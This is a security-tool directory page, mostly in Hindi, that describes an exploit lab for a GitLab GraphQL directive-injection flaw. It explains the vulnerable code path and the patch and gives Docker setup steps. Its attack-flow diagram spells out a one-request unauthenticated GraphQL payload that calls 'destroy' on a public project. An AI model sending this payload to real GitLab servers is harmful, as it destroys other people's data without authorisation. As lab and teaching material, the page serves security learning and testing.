Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

डॉकराइज़्ड एक्सप्लॉइट लैब और स्क्रिप्ट CVE-2026-19478 के लिए, जो एक गंभीर बिना प्रमाणीकरण वाला GitLab GraphQL कोड इंजेक्शन है जो मनमाने Ruby मेथड कॉल्स, प्रोजेक्ट विलोपन और डेटा एक्सफिल्ट्रेशन को सक्षम बनाता है।

रिपॉजिटरी देखें
411 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-19478 — GitLab GraphQL @gl_introduced Directive Injection

अनधिकृत रिमोट कोड इंजेक्शन GitLab CE/EE में GraphQL Directive के माध्यम से — एक Single HTTP Request से किसी भी Public Project को Delete करें

एक व्यावहारिक पेनिट्रेशन टेस्टिंग लैब जो CVE-2026-19478 को दोहराती है, जो GitLab के GraphQL API में एक गंभीर (CVSS 9.4) कमजोरी है। @gl_introduced directive अनधिकृत हमलावरों को सर्वर-साइड ऑब्जेक्ट्स पर मनमाने Ruby तरीकों को निष्पादित करने की अनुमति देता है — जिसमें प्रोजेक्ट विलोपन, डेटा निकासी और स्वामित्व हस्तांतरण शामिल है — बिना किसी प्रमाणीकरण के।

यह लैब व्यावहारिक शोषण अभ्यास के लिए Docker में एक वास्तविक कमजोर GitLab CE 19.2.0 इंस्टेंस चलाता है।

विषय-सूची

  • Vulnerability Summary
  • How the Exploit Works
  • Attack Flow Diagram
  • Lab Setup
  • Exploitation Guide
  • Exploit Script Usage
  • Detection and Indicators of Compromise
  • Remediation
  • References
  • Disclaimer
  • Connect With Us

Vulnerability Summary

फ़ील्डमान
CVE IDCVE-2026-19478
CVSS Score9.4 (Critical)
ProductGitLab Community Edition (CE) / Enterprise Edition (EE)
Vulnerability TypeCode Injection / Arbitrary Method Execution (CWE-94)
Attack VectorNetwork (Remote)
AuthenticationNone required
User InteractionNone
Attack ComplexityLow
Affected Versions18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Patched Versions18.11.11, 19.0.8, 19.1.6, 19.2.4
Discovered Byhiimguardian (via HackerOne)
Patch DateAugust 17, 2026

Impact

एक अनधिकृत रिमोट हमलावर यह कर सकता है:

  • किसी भी सार्वजनिक प्रोजेक्ट को स्थायी रूप से Delete कर सकता है
  • आंतरिक डेटा, एडमिन टोकन और रहस्यों को Exfiltrate कर सकता है
  • प्रोजेक्ट की दृश्यता, स्वामित्व और सेटिंग्स को Modify कर सकता है
  • सर्वर-साइड Project मॉडल पर मनमाने Ruby तरीकों को Execute कर सकता है
  • बिना प्राधिकरण के प्रोजेक्ट को Archive या transfer कर सकता है

How the Exploit Works

The @gl_introduced Directive

GitLab रोलिंग डिप्लॉयमेंट का समर्थन करने के लिए एक कस्टम GraphQL directive @gl_introduced(version: "X.Y") का उपयोग करता है। जब एक नया GitLab संस्करण GraphQL API में एक फ़ील्ड जोड़ता है, पुराने इंस्टेंस उन नए फ़ील्ड्स का संदर्भ देने वाले क्वेरीज़ को त्रुटि देने के बजाय null लौटाकर सुचारू रूप से संभालते हैं।

The Vulnerable Code Path

फ़ाइल: lib/gitlab/graphql/version_filter/future_field_fallback.rb (पंक्तियाँ 14-36)

चरण-दर-चरण विवरण:

  1. FutureFieldFilter आने वाले GraphQL क्वेरीज़ को स्कैन करता है। जब किसी फ़ील्ड में वर्तमान सर्वर से नया संस्करण के साथ @gl_introduced(version) होता है, तो यह फ़ील्ड को हटा देता है और context[:contain_future_fields] = true सेट करता है।

  2. IntroducedTracer निष्पादन के समय मूल क्वेरी दस्तावेज़ को पुनर्स्थापित करता है, हटाए गए फ़ील्ड्स को AST में वापस रखता है।

  3. FutureFieldFallback#get_field निष्पादन के दौरान हर फ़ील्ड लुकअप को रोकता है। यह तीन स्थितियों की जाँच करता है:

    • क्या contain_future_fields फ़्लैग सेट है? ✅
    • क्या फ़ील्ड स्कीमा से अनुपस्थित है? ✅
    • क्या नाम __ से शुरू नहीं होता है? ✅
    • क्या फ़ील्ड का नाम सुरक्षित है? ❌ कोई जाँच मौजूद नहीं है!
  4. जब तीनों जाँचें पास हो जाती हैं, तो यह बिना किसी रिज़ॉल्वर क्लास के एक नया GraphQL::Schema::Field संश्लेषित करता है।

  5. graphql-ruby में, रिज़ॉल्वर के बिना एक फ़ील्ड अंतर्निहित Ruby ऑब्जेक्ट पर object.public_send(field_name) कॉल करके हल होती है — हमलावर के फ़ील्ड नाम को Project ActiveRecord मॉडल पर एक मनमाने विधि कॉल में परिवर्तित कर देती है।

The Fix (19.2.4+)

GitLab का पैच अंतर्निहित विधि डिस्पैच को एक स्पष्ट NilResolver से बदल देता है जो बिना शर्त nil लौटाता है, रोलिंग-डिप्लॉय संगतता को संरक्षित करते हुए मनमाने विधि निष्पादन को समाप्त करता है:

# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Attack Flow Diagram

                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Lab Setup

Prerequisites

  • Docker और Docker Compose स्थापित हों
  • Docker के लिए न्यूनतम 4 GB RAM उपलब्ध हो (GitLab संसाधन-भारी है)
  • Python 3 (exploit script के लिए)
  • API परीक्षण के लिए वेब ब्राउज़र या curl / httpie

Quick Start — Real GitLab CE 19.2.0 (Vulnerable)

# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Access Points

सेवाURLक्रेडेंशियल्स
GitLab Web UIhttp://localhostroot / P@ssw0rd123!
GraphQL APIhttp://localhost/api/graphqlNone required
GraphQL Explorerhttp://localhost/-/graphql-explorerLogin required
SSHlocalhost:2222—

Lightweight Alternative (Simulated)

सीमित संसाधनों वाली मशीनों या तेज़ स्टार्टअप के लिए:

docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
टूल डाउनलोड करें